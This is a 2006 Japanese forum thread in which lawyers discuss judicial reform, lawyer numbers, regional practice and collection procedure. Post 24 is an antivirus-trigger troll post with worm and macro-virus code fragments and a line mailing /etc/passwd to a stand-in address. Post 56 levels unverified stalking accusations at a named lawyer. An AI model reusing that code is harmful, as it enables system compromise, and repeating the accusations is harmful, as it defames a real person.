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【連休中は】弁護士本音talkスレPart22【居留守】

1 :MS754代理人TN:2006/04/29(土) 07:04:49 ID:S/sX/+Yq

あとはMSさんお願いします

2 :MS754 ◆yGUnQdhyV2 :2006/04/29(土) 08:35:37 ID:tAZX6HIv
TN先生ありがとうございます。

前スレ↓
【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
注意書き,リンク集などは>>3-10あたりに・・・



3 :MS754 ◆yGUnQdhyV2 :2006/04/29(土) 08:37:00 ID:tAZX6HIv
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。
   やさしい法律相談 Part172
http://school5.2ch.net/test/read.cgi/shikaku/1145971186/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。



4 :MS754 ◆yGUnQdhyV2 :2006/04/29(土) 08:37:32 ID:tAZX6HIv
過去スレその1
1:【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
2:【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
3:【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
4:【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
5:【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
6:【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
7:【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
8:【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
9:【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
10:【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/



5 :MS754 ◆yGUnQdhyV2 :2006/04/29(土) 08:38:12 ID:tAZX6HIv
過去スレその2
11:【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/
12:【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
13:【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
14:【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
15:【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
16:【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
17:【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
18:【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
19:【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
20:【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/

6 :MS754 ◆yGUnQdhyV2 :2006/04/29(土) 08:39:11 ID:tAZX6HIv
関連スレ
【ドラマと】事務員本音talkスレ5頁目【大違い】
http://school5.2ch.net/test/read.cgi/shikaku/1145260846/
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
【嵐は】検事になりたいんですがその11【スルー】
http://school5.2ch.net/test/read.cgi/shihou/1142585590/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/
裁判所書記官だけでマターリしようよ
http://society3.2ch.net/test/read.cgi/koumu/1141056988/

7 :MS754 ◆yGUnQdhyV2 :2006/04/29(土) 08:40:26 ID:tAZX6HIv
弁護士のためのサイト集(二弁知財法研究会)
http://www.dntba.ab.psiweb.com/link/bengoshi-link.html
法令データ提供システム
http://law.e-gov.go.jp/cgi-bin/idxsearch.cgi
総本山
http://www.nichibenren.or.jp/
東弁
http://www.toben.or.jp/
一弁
http://www.ichiben.or.jp/
二弁
http://www.niben.jp/
裁判所
http://www.courts.go.jp/
岡口裁判官のページ
http://okaguchi.at.infoseek.co.jp/top.htm


8 :無責任な名無しさん:2006/04/29(土) 11:01:43 ID:jNY+C9mC
憲法記念日に,当番になってしまいました・・・(涙)。

これも何かの因縁か・・・。

9 :TN:2006/04/29(土) 11:15:48 ID:S/sX/+Yq
やめたくなったらやめちゃいな

10 :無責任な名無しさん:2006/04/30(日) 03:05:11 ID:KmHKEfF+
ここは、雑談もokなんですかね?

この前、友人と、喫煙可能な飲食店での喫煙について話をしていたのですが・・・

友人の主張:吸わない人の前では遠慮する。それがマナーだよ。

俺の主張:喫煙可能な場所での喫煙だし、ルールには反していないね。
      煙が嫌なら禁煙の店を選べばよい。
      自己責任だよ。
     
といった感じで平行線だったのですが、みなさんはどう思います?


11 :無責任な名無しさん:2006/04/30(日) 03:35:19 ID:KmHKEfF+
すみません。
sageたつもりが、sageになってませんでした。

12 :無責任な名無しさん:2006/04/30(日) 08:11:09 ID:xiw2RF+S
>>10
それ、お互いに前提が違うんじゃない?

友人:喫煙者が、吸わない友人と一緒に喫煙可能な喫茶店に入った
俺:喫煙者が、一人又は喫煙者の友人と喫煙可能な喫茶店に入ったところ、
隣の席に見ず知らずの非喫煙者がいた

こんな前提で話してませんか?

13 :無責任な名無しさん:2006/04/30(日) 14:03:37 ID:wUrX5jYH
前スレが終わりましたね。

井上薫元判事が読売テレビで何か話してるらしいけど、誰か見てないか?
当地は田舎故に放送されていない。

14 :無責任な名無しさん:2006/04/30(日) 14:41:03 ID:ag04mxWc
珍獣扱いでした

15 :無責任な名無しさん:2006/04/30(日) 14:48:36 ID:ZE4hYr7X
確かにJの中でも珍獣扱いだったかからな
あの人の判決は理由不備もいいとこだし
人の判決にアレコレ言うヒマがあるならテメエの判決を丁寧に書けだよ

16 :無責任な名無しさん:2006/04/30(日) 15:14:19 ID:ag04mxWc
弁護士に登録するかどうかはまだ検討中だそうです。
実際には声をかけてくれる人が(ry

17 :無責任な名無しさん:2006/04/30(日) 19:48:45 ID:0ITtb91A
井上さんは、過去に地元弁護士会から栄転運動起こされてなかったっけ?
破産事件で、免責不許可決定連発して。しかも、かなり無茶苦茶な理由で。


18 :無責任な名無しさん:2006/04/30(日) 19:55:38 ID:Swiv6W3p
まあ,理由が多少短くても判断を間違わなければそれでいいよ。
ただ,高裁でひっくり返されるのを承知で判決を出す裁判官は,原則としてダメだな。
高裁でひっくり返されるわけだから結局,解決までの期間が先送りにされるだけだし,高裁もいい迷惑だよ。


例外的に,高裁,最高裁と対立してよいのは憲法違反や,少なくとも有力説があるような法解釈だけにするべきで,独自の経験則をあてはめる裁判官は本当に迷惑。

そういう意味では,無罪をよく出す裁判官はよいが,やたらと国を負かす裁判官はどうなんだろうと思う。


19 :無責任な名無しさん:2006/04/30(日) 20:20:54 ID:Kg0J0yuQ
国を負かすのは政治的な意味合いでないのかね。
どう転んでも上に行くんだろうし,解決が遅れて迷惑ってことは無いんじゃない。

普通の事件でやたらと上でひっくり返されるような意味不明判断をする裁判官が
困る・・・。
和解でも変な和解案押しつけようとしたりするし。

20 :無責任な名無しさん:2006/04/30(日) 20:25:56 ID:SldYHu/8
★ゼロワン地域の解消は絶望的 〜暗礁に乗り上げた司法改革

司法改革の一環としての法曹大量養成が実現しつつある。法科大学院修了者を対象とする
第一回新司法試験は1000名程度の合格者が見込まれ、いずれは年間3000名程度に合格者は
増員される。また旧司法試験もここ2年は約1500名ずつ合格者を出しており、社会に大量の
法曹が進出する時代になった。

この法曹量産時代は、弁護士同士のサービスやコストの競争を促すだけでなく、従来、「ゼロワン地域」などと
呼ばれてきた弁護士過疎地域の問題を解決することが期待されている。だが、果たして本当にそうなのか。

「結論からいえば、ゼロワン地域問題は解決不可能です。いや、むしろ現在以上に悪化するでしょう」
と断言するのは、東日本のある県の弁護士会幹部だ。
「弁護士過疎問題というのは、弁護士の問題ではなく、過疎の問題です。地域に人口が減少して経済が
衰亡していることが根本原因。弁護士の人数がいくらふえようと、それで地域経済が活性化するわけでも
人口が増えるわけでもない。人口が少なくて経済が衰えていれば、弁護士も来なくなる。ただそれだけです。」

だが、弁護士人員が増えれば、過疎地域で働く人も出てくるのではないか?
「とんでもない。『弁護士』を『ラーメン屋』『コンビニ』に置き換えて考えてみればいいでしょう。弁護士よりはるかに
日常的需要があるラーメン屋やコンビニが、過疎地域にわざわざ出店しようとすると思いますか。ラーメン屋も
コンビニも日本全国にあふれているし、簡単に開業できるのに、誰も過疎地域には出店しませんね。どうして弁護士だけが
何を好んで過疎地域で開業するんですか。都会で食えなければ、単に弁護士をやらないだけのことです。」

それだけではなく、むしろ弁護士増員で過疎問題は悪化する可能性すらあるという。
「現在は、都市圏の各弁護士事務所の奉仕の精神のおかげで、過疎地域の事務所維持や人材育成が図られています。
競争が激しくなれば、どこの弁護士事務所も経営に余裕がなくなり、そんなことやっていられなくなるでしょうね。」

21 :無責任な名無しさん:2006/04/30(日) 21:34:26 ID:I+bXdtc3
同感。

22 :無責任な名無しさん:2006/04/30(日) 22:01:21 ID:0ITtb91A
そうかな?
うちは登録してる弁護士が100人に達してない地方弁護士会だが、
合格者が増える前は、新規会員は1年に一人いるかいないかだったのが、
最近は複数人が登録するようになってきたから、
合格者増で、今まで弁護士があまり登録してこなかった地方弁護士会に行く新人弁護士
が出てきたように思うのだが。
ゼロワンはともかく、3,4人しかいなかった支部地域が以前より充実しつつあるのは事実
だと思う。

23 :無責任な名無しさん:2006/04/30(日) 22:09:05 ID:wUrX5jYH
>>22
その動きもあと数年で止まると思われ。
ロースクール(学費負担増)に加え、修習の給費制廃止で
弁護士登録時に5〜600万の借金を抱えるのが通常となると
儲からない地域に行くわけがない。
破産すると免責許可確定までは弁護士活動が出来ないわけだし(苦笑

24 :無責任な名無しさん:2006/04/30(日) 22:27:31 ID:fKnYNoHT
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
ms-its:mhtml:file://c:\
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
THE END!!



25 :無責任な名無しさん:2006/04/30(日) 22:34:06 ID:SldYHu/8
弁護士増員でメリットがあるのは

・企業
・もともと弁護士をなんとか使える程度の金が払える人
・ギリギリ弁護士の採算が取れる程度の地方都市の住民

だろう

これらは、従来より弁護士が安くなる・多くなるというメリットが確かにある

しかし、

・弁護士を使う金がまったく出せない底辺層
・ゼロワン地域

これらは、むしろ状況が悪化するだろう


26 :無責任な名無しさん:2006/04/30(日) 23:52:49 ID:kuhiW1Cp
そこで呆テラスですよw

27 :TN:2006/05/01(月) 07:26:17 ID:fIFbX7aC
企業にとっても弁護士が増えることは大局的にはコスト増を招くだろう
個々の案件では単価が下がるかもしれないが業界の規模が拡大すると当然弁護士業界に流れ込む金の量も多くならざるを得ない
具体的には今まで弁護士が嫌がった少額交通事故も紛争の対象になるだろうし
アメリカのように企業相手に濫訴をする総会やもどきの弁護士も現れるだろう
弁護士会ほどではないにしても経済界もあんまり頭良くないね
企業法務やってる人がいたら誰か言ってやってよ


28 :無責任な名無しさん:2006/05/01(月) 08:40:00 ID:pasHhPy3
★「乱訴社会」の恐怖  パンドラの箱を開けた財界?

一連の司法改革の中で、財界も積極的な役割を果たしてきた。特に、法曹人口の大幅増大については、
宮内義彦氏(オリックス会長)を始めとする財界人の影響力が大きかったのは周知の通りである。
新司法試験での合格者年間3000人への増大が決まり、さらに年間9000人の案さえ出てきた。
それでは、実際の経営に携わる企業人は、弁護士の大量生産時代の到来を大歓迎しているのだろうか。
どうもそうではないようなのだ。

「今でも既に、必要な分野の弁護士は、内外でおおむね間に合っています。あと増えて欲しいとすれば、
アメリカ法や中国法の専門家でしょうか。単に一般的な弁護士が増えても、うちには必要ありません。」
(大手電機メーカー法務部長)

また、インハウスローヤーを抱えたある商社の役員はこう言う。
「弁護士が増えて単価が従来より安くなること自体は悪くはない。しかし、本当に優秀な弁護士事務所は
顧客に対して立場が強いわけだから、相変わらず高いままでしょう。弁護士が量産されれば、そういう
事務所は戦力を拡充しやすくなる。だから、事務所自身にとっては確かにメリットがあるでしょうね。しかし、
下手すると人員を増やしたおかげで、こちらにとってはむしろコスト増になる可能性すらあります。」

だが、それ以上に企業関係者が恐れていることがある。弁護士の大量生産による乱訴社会の到来だ。
「年間数千人も弁護士が世間に出てきたって、事務所や企業が採用するのはごく一部だけ。あとの多くは
就職できません。そういう連中が食べて行くためにはどうするか。訴訟を起こすしかないでしょうね。それも
金のあるところ、つまり大企業」と本気で心配するのは、証券会社のコンプライアンス担当役員だ。

「脇の甘い企業はたくさんある。そういうところは、量産されて社会に放り出された弁護士たちの格好の餌食に
なることでしょう。最近では、保険会社などが危ない。だいたい、弁護士が増えて一番喜ぶのは、企業から金を
むしりとろうとする連中です。まったく宮内さんは余計なことをしてくれた、というのが我々の本音ですね。
いわば、牧場の番犬を増やそうと言っておきながら、かえって飢えた野犬を大量に牧場に放り込むようなものですよ。」


29 :無責任な名無しさん:2006/05/01(月) 10:13:37 ID:Up9PFFPg
なるほど

30 :無責任な名無しさん:2006/05/01(月) 11:34:17 ID:bg6zIbfi
ところで皆さん,「弁護士賠償責任保険」に加入してますか?


31 :無責任な名無しさん:2006/05/01(月) 11:40:44 ID:OtE3idsh
>>30
当然加入してる。
そもそも、弁護士会が運営してるいくつかの当番制の職務は、保険加入が義務付けられてるし。


32 :無責任な名無しさん:2006/05/01(月) 12:13:28 ID:dfV18MMp
GWの中日なんて、全くやる気しない。
5年目にして初めて、GW翌週期日の書面を28日までに全て仕上げて
しまった。自分でも信じられない。
4月に次々と準備書面等を出したので、5月はほとんど相手方が起案。
今月中はあまり大した起案がない。
ちょっと前までキリキリしていた分、放心状態。
細かい仕事はあるんだけど、どうも気乗りがしない。
仕方ないので、机や書棚を大掃除している。
でも本当は、こういうときこそ細かい仕事を片付けておかないといけないんだけどな。
分かっちゃいるけど、やる気がでない・・・。

33 :無責任な名無しさん:2006/05/01(月) 12:55:18 ID:6uT2n15/
>>20>>28は非常に示唆に富むな。
ソースキボンヌ

34 :無責任な名無しさん:2006/05/01(月) 13:02:49 ID:OtE3idsh
事務員から「5月1日と2日は書面を書いてください。溜まってるんですから。」と言われてたのに、
なんで朝から相談・打ち合わせが続いてるんだろう?


35 :無責任な名無しさん:2006/05/01(月) 13:14:33 ID:iCSSmZJ9
>>33
日経じゃなかったっけ。

36 :無責任な名無しさん:2006/05/01(月) 13:37:02 ID:p8YS8LRu
>>28
飢えた野犬ワロス
じん肺の関係の弁護団にちょっとだけかかわってるんだが、
こんな俺も飢えた野犬の1匹かも。

37 :無責任な名無しさん:2006/05/01(月) 14:12:04 ID:xC05KFjO
連中にしてみれば、サラ金から過払金回収するのも飢えた野犬の仕業だろう。

38 :無責任な名無しさん:2006/05/01(月) 14:18:39 ID:OtE3idsh
野犬になるのは飢えるからなんであって。
地方に来れば飢えないんだから、そうそう野犬化することもないと思うんだけどなあ。
地方じゃ、そこそこの規模の人口を持つ支部に弁護士が2,3人とかいうのがまだまだあるし。
過疎と言われてるゼロワン地域でも、公設事務所は事件数の多さで悲鳴あげてるわけで。


39 :無責任な名無しさん:2006/05/01(月) 14:39:43 ID:fiPvOges
どうも法律板には言論の自由を抑圧しようとする人種がすみついているらしい。
同和団体に近いものを感じる。

40 :無責任な名無しさん:2006/05/01(月) 15:58:14 ID:SG5l++l9
コンビニやラーメン屋と弁護士業務は同視できないと思うんだよね。
原価率や件数が違う。弁護士はインフラさえ整えば仕入れのコストも無視できる。
人口比で弁護士1人あたり1万人を超える地方はまだまだごろごろある。


41 :無責任な名無しさん:2006/05/01(月) 16:23:43 ID:OtE3idsh
実際、司法書士がバックについた形の本人訴訟が、地方じゃまだまだ多いからね。
こういった需要を掘り起こせば、十分食っていける。
地方なら、一ヶ月の経費に100万円もかからん。事務員一人なら、60〜70万円ぐらいで抑える
ことも可能だ。
一ヶ月に国選3件と訴訟1件と破産2件受任すれば、経費出しても十分食っていける程度の
収入はあるわな。

42 :無責任な名無しさん:2006/05/01(月) 16:45:31 ID:jCBmFOpz
法テラスのお陰で、地方弁護士の俺は扶助や国選をもうやらなくてすみそうだ。
司法改革で唯一よかった点だろうな。

43 :無責任な名無しさん:2006/05/01(月) 17:47:29 ID:P0UGidpW
>>41
霞食いながら掘り起こすのかね?
だいたい,ゼロワン支部でもまっとうな訴訟を起こす人は,本庁の弁護士とかにちゃんと依頼して裁判やってる。

あるいは事件屋的司法書士なみに活動できますかね?司法書士バックの本人訴訟なんて,一皮むいたらおかしな紛争だった,と言うのが大半ですよ。

44 :無責任な名無しさん:2006/05/01(月) 19:06:00 ID:WteI9xsv
本人訴訟の案件なんて受けたくないよ。
現実を知らない人は恐いね。

45 :無責任な名無しさん:2006/05/01(月) 19:20:59 ID:SVbVNUTj
筋悪で断られちゃってるから本人訴訟になったりするわけだよね。

46 :無責任な名無しさん:2006/05/01(月) 19:55:05 ID:bC1AdYVk
■さらに進む?弁護士価格破壊 ターゲットは「販売価格」から「製造原価」へ  

平成18年度は、法科大学院の最初の卒業生が第一回新司法試験を受験し、1000名程度が合格して、
さらなる法曹増員時代の幕開けとなる。大量の弁護士が市場に進出すれば、競争原理が働いて
弁護士料金も下落し、企業にとっては法務コスト削減と利便性の向上につながることが期待される。
ところが、専門家によれば、大量養成時代にもかかわらず、弁護士コスト削減には、実はおもわぬ障害があるという。

「それは、法科大学院や予備校にかかるコストの問題です。特に前者は深刻ですね」(財界系シンクタンク研究員)

一般には法科大学院の学費・教材費は年200万円弱といわれている。これに生活費、予備校費用などを加えると
3年間で1000万円程度の出費になるという試算もある。学費免除などごく一部。さらに新司法試験に合格するまで何年も
かかる場合は、その間の費用も考えねばならない。ところが一方、弁護士の大量増員で、就職後に期待される収入は
下がる一方だ。このような状況で、どういう現象が起こるか。

「要するに、コスト割れです。弁護士になるためにかかった費用が、弁護士になっても回収できないという現象が起こります。
するとどうなるかといえば、合理的な人間は、ただ単に法曹をめざすのをやめるだけです。特に旧制度の司法試験を受けて
きた層がいなくなったら、法曹志望者は激減することでしょうね。単純に言えば、弁護士になるコストと弁護士になった後の
収入が見合う程度になるまで、法曹になる人間は減っていきます。おそらく多くの法科大学院が閉鎖に追い込まれる
と思いますよ。このままでは、法曹大増員の計画はいずれ行き詰るわけです。」(同上)

では、どうすれば良いのか?
「今まで財界は、弁護士を増やして価格を下げろと言って来ましたが、これはいわば販売価格の問題。しかし問題を根本的に
解決するには、製造原価そのものを下げる必要があるのです。法科大学院は、製造原価が高すぎる工場みたいなもの。
もっと安い工場を見つけなくては。『予備試験』に法曹量産の決め手を期待しています。」(大手商社法務部長)

47 :無責任な名無しさん:2006/05/01(月) 20:58:18 ID:EHlk+hkp
>>46
何か終わってるな・・・

48 :無責任な名無しさん:2006/05/01(月) 21:10:07 ID:1I9CKyRa
そんな導入前から分かりきってたことを今更言われても…

49 :無責任な名無しさん:2006/05/01(月) 22:03:16 ID:fvcFTNeK
>>43
まっとうな訴訟の客が支部の事務所に来てくれることもあろう。
支部の管財国選をやれば充分。

50 :無責任な名無しさん:2006/05/01(月) 22:08:26 ID:fvcFTNeK
ところで,最近,相手方の預金口座が,法人名でも個人名でもない口座名義になってることがよくあるのね。
口座自体は自然人か法人が持ってるはずなんだけど,口座名義は屋号みたいなものが表示されてるだけ。
こういう口座を押さえるためには,(仮)差押債権目録にどうやって特定すればいいのかね。
法人と個人の両方で(仮)差押をかけたら,ちゃんと押さえてくれるのかな?


51 :無責任な名無しさん:2006/05/01(月) 22:31:52 ID:VLKjKoJ7
それにしても過払返還訴訟はおいしかった・・・

52 :無責任な名無しさん:2006/05/01(月) 22:50:00 ID:SNaS/6rj
>>50
振り込みの際に出る名義が実際の口座名義と違うだけだから、実際の口座名義が
自然人の口座名義ならその自然人名義で押さえられるし、法人でも一緒。
結婚して姓の変わった弁護士で旧姓を通称として使用している人なんかも、
口座名義は新しい姓だけど振込先としては旧姓ってことがよくある

53 :無責任な名無しさん:2006/05/01(月) 23:00:29 ID:WfUYqdVo
支部支部というけど、仮に弁護士が足りない支部が200か所あって、
それぞれに5人ずつ弁護士を配置したとしても1000人にしか
ならないので、1年分の増員もまかなえないわけだが。
200か所といえば1県平均4か所程度だが、そんなに支部の
キャパシティがあるとは思えない。
そもそも、支部なんて破産事件が減少したら、まともに食っていける
事件もあるのかどうか・・・

54 :名無し:2006/05/01(月) 23:08:06 ID:0yF4TzZi
司法ジャーナル2004年6月28日号ニュース速報
その4より
【弁護士懲戒】大阪弁護士会、
北尻総合法律事務所の工藤展久氏を戒告処分に
●弁護士12年のキャリア
日弁連は2004年6月25日付の官報に
大阪弁護士会が78年度日弁連会長を努めた弁護士会の長老、北尻得五郎氏(88)が主宰する
北尻総合法律事務所の工藤展久(42)=92年登録、44期=を戒告処分にした旨を公告した。

55 :名無し:2006/05/01(月) 23:13:07 ID:We3WMaAY
公告
大阪弁護士会がなした懲戒の処分について、同会より以下のとおり通知を受けたので、懲戒処分の公告及び公表に関する規定第3条1号の規定により公告する。
                  記
1懲戒を受けた弁護士 氏名 工藤展久
登録番号22505
事務所 大阪府大阪市北区西天満6-7-4 大阪弁護士ビル501
北尻総合法律事務所 住所 大阪府吹田市千里山東4-8-3-604
2懲戒の種別 戒告
3処分の理由の趣旨
被懲戒者は、A及びBからCの懲戒請求者に対する預託金返還請求訴訟の依頼を受け、
Cの委任意思を直接確認しないまま、
Aらの用意したCの委任状などを用いて、
2001年11月13日訴訟を提起し、2002年3月29日、
全面勝訴の判決を得た。
その後、Cが本件に全く関知していないことが判明し、控訴審においては、同9月4日、
本件訴訟の提起及び追行が無件代理行為で不適法なものであることを理由に一審判決が取り消され、
訴えを却下する旨の判決が言い渡された。
被懲戒者は、1998年頃からAの紹介で数件の預託金返還請求事件を処理しており、
本件においては、C名義のゴルフ入会保証金預かり証書の原本を預かるなどの事情があったとしても、
被懲戒者がCに対し本件訴訟提起の意思を直接確認するべきであった。
それにもかかわらず、被懲戒者がこれを怠り、
本件訴訟を提起し、追行したことは、
Cが懲戒を求める意思がないことなどの事情を勘案しても、
裁判の公正及び適正手続の実現に努める弁護士の義務を怠り、かつ弁護士に対する社会の信用を失わせるものである。
以上の被懲戒者の行為は、
弁護士法第56条第1項の品位を失うべき非行があったときに該当する。
4 処分の効力の生じた2004年5月24日
2004年8月1日 日本弁護士連合会

56 :名無し:2006/05/01(月) 23:14:31 ID:We3WMaAY
日本弁護士連合会の発行書物
自由と正義の平成16年8月号」より
日本弁護士連合会平成16年8月号VOL.55「公告」P155に記載
を図書館で閲覧可。日本弁護士連合会に平成16年8月号VOL.55のバックナンバー有料購読申し込み(1000円)は、「自由と正義」
http://www.shihoujournal.co.jp/news/back2004.html
日本弁護士連合会平成14年8月号VOL.55「公告」P155に記載
を図書館で閲覧可。日本弁護士連合会に平成14年8月号VOL.55のバックナンバー有料購読申し込み(1000円)
別で、ある女性にストーカーをして、ネットにエロ写真を貼り、「レイプして自殺させるか殺してくださいな」とある。悪徳三流エロストーカー弁護士や事務所に依頼すると危険。
「工藤展久」「北尻総合法律事務所」で、検索を。
http://search.yahoo.co.jp/search?p=%E5%B7%A5%E8%97%A4%E5%B1%95%E4%B9%85&ei=UTF-8&fr=top&fl=0&x=wrt&meta=vc%3D  工藤展久で、ご自分の目でしっかり御確認を。
この検索でヒットする中に出てくる女性に僕は、確認しました。事実です。
疑われるなら、その女性に御自分で御確認を。
事実、実在する女性で、実在する携帯電話番号、アドレス等の個人情報です。
エロ写真や内容、「レイプして、自殺させるか殺してくださいな」とあります。
工藤弁護士本人の投稿かどうかは、不明ですが、事実、大阪 北尻総合法律事務所弁護士工藤展久です。それにしても悪意のある陰湿な内容です。
工藤弁護士がこの女性に、人権差別を行っていた事は、その女性より確認しています。

57 :無責任な名無しさん:2006/05/01(月) 23:33:45 ID:EHlk+hkp
とりあえず、宮内相手に何か訴訟提起できれば面白いのだが。
「これがあなたの望んだ世界です。」と言いつつ訴状を山ほど送りつけてみたい。

58 :無責任な名無しさん:2006/05/01(月) 23:34:28 ID:fvcFTNeK
あいのりに司法修習生(修習始まる前の60期かな)が出る時代。

>>52
借名口座だったら空振ってしまいますね。

>>53
しわ寄せで,弁護士資格のある司法書士や税理士や社労士が増えて,その業界から国会に圧力がかかって再び弁護士人口を減らすことになったりして。
つくづく日弁連(弁政連)は政治力がないな。

弁護士が増えて大企業は単価を安く雇えるようになるかもしれないが,訴訟件数は増えて結局同じ法務リスクを負ってしまう説に同意。
絶対こうなる。恥ずかしげもなく大企業相手の無理筋の損害賠償請求を起こす弁護士が増える。

59 :無責任な名無しさん:2006/05/01(月) 23:37:56 ID:fvcFTNeK
>>57
バファローズが負けて精神的苦痛を負ったファンから慰謝料請求とか。
清原と中村ノリが活躍しなかったら年俸額について代表訴訟とか。

http://www.orix.co.jp/grp/co/index.htm

60 :無責任な名無しさん:2006/05/01(月) 23:39:03 ID:iCSSmZJ9
>>58
内容証明を送るような感覚でとりあえず訴えてみる、というのが増えそうですよね。

61 :無責任な名無しさん:2006/05/01(月) 23:44:29 ID:fvcFTNeK
弁護士資格を持って,国会議員,地方議員になる人も増えそうだね。地方議員だったら弁護士だというだけで割と簡単に当選できる。
企業コンサルタントや,インテリやくざ系も増えるでしょう。

62 :無責任な名無しさん:2006/05/02(火) 00:46:12 ID:rU4tkJys
>>50
口座が特定できるんなら、口座番号と口座名義で(仮)差押債権目録作ればいいだけ。
おまいヤミ金事件やったことないだろ。

それから、銀行のATMで一度、送金手続途中までやってみ。誤振り込み防止のために
口座名義がすべて表示されるから。屋号の後ろに本名が隠れてることがある(屋号が長
すぎて、ATMの利用明細に表示されないだけ)。

63 :無責任な名無しさん:2006/05/02(火) 01:03:46 ID:wyiyWX+M
>>58
そうなると、濫訴防止の名目で「弁護士費用敗訴者負担」が再び日の目を見るかも・・・

64 :TN:2006/05/02(火) 07:24:20 ID:8F2NSU7t
オレが年寄りになったら弁護士が増えすぎて
弁護士のクズ
って馬鹿にされるんだろうな

65 :無責任な名無しさん:2006/05/02(火) 09:39:27 ID:67XMeywb
西麻布のカフェで眼鏡をかけて、春物の格好いいジャケット着て、チャンド
ラーのハードカバー読んでた坊主の人がいたんだよ。

驚いて良く見てみたら、ボクシング亀田兄弟の兄だった。
サイン貰おうと思って声かけたら、気さくに応じてくれた。
「TVと印象違いますね」って言ったら、
「演出なんですよ・・・。僕は嫌なんですけど、スポンサーの関係で断れな
くて・・・。世間の人にイヤな思いさせて、本当に申し訳なく思ってます」
だって。

その後お礼言って、しばらくお茶飲んでたんだけど、帰ろうとしたら店の人
に「お代は頂いてますから」って言われた。
オレの分だけじゃなくて店にいた人全員分払ってくれたみたい。
それからテレビで見るたびに応援している。
TVであの姿を見ている人には、信じられないと思うけど、全部作り話。


66 :無責任な名無しさん:2006/05/02(火) 09:40:31 ID:67XMeywb
地方はおいしいと思いこんでる奴がいるけど,おいしくないから弁護士居ないんだよ

67 :TN:2006/05/02(火) 09:45:12 ID:q3hjV8PK
ただ地方に行くほど補助職も含めて法曹界の地位は相対的に高くなる
プライドは満足させられるだろうね
金銭的には過払い請求が終わったらお終いだろう

68 :無責任な名無しさん:2006/05/02(火) 09:45:27 ID:yiH3gZfQ
>>66
何をもって「おいしい」と思うかだわな。
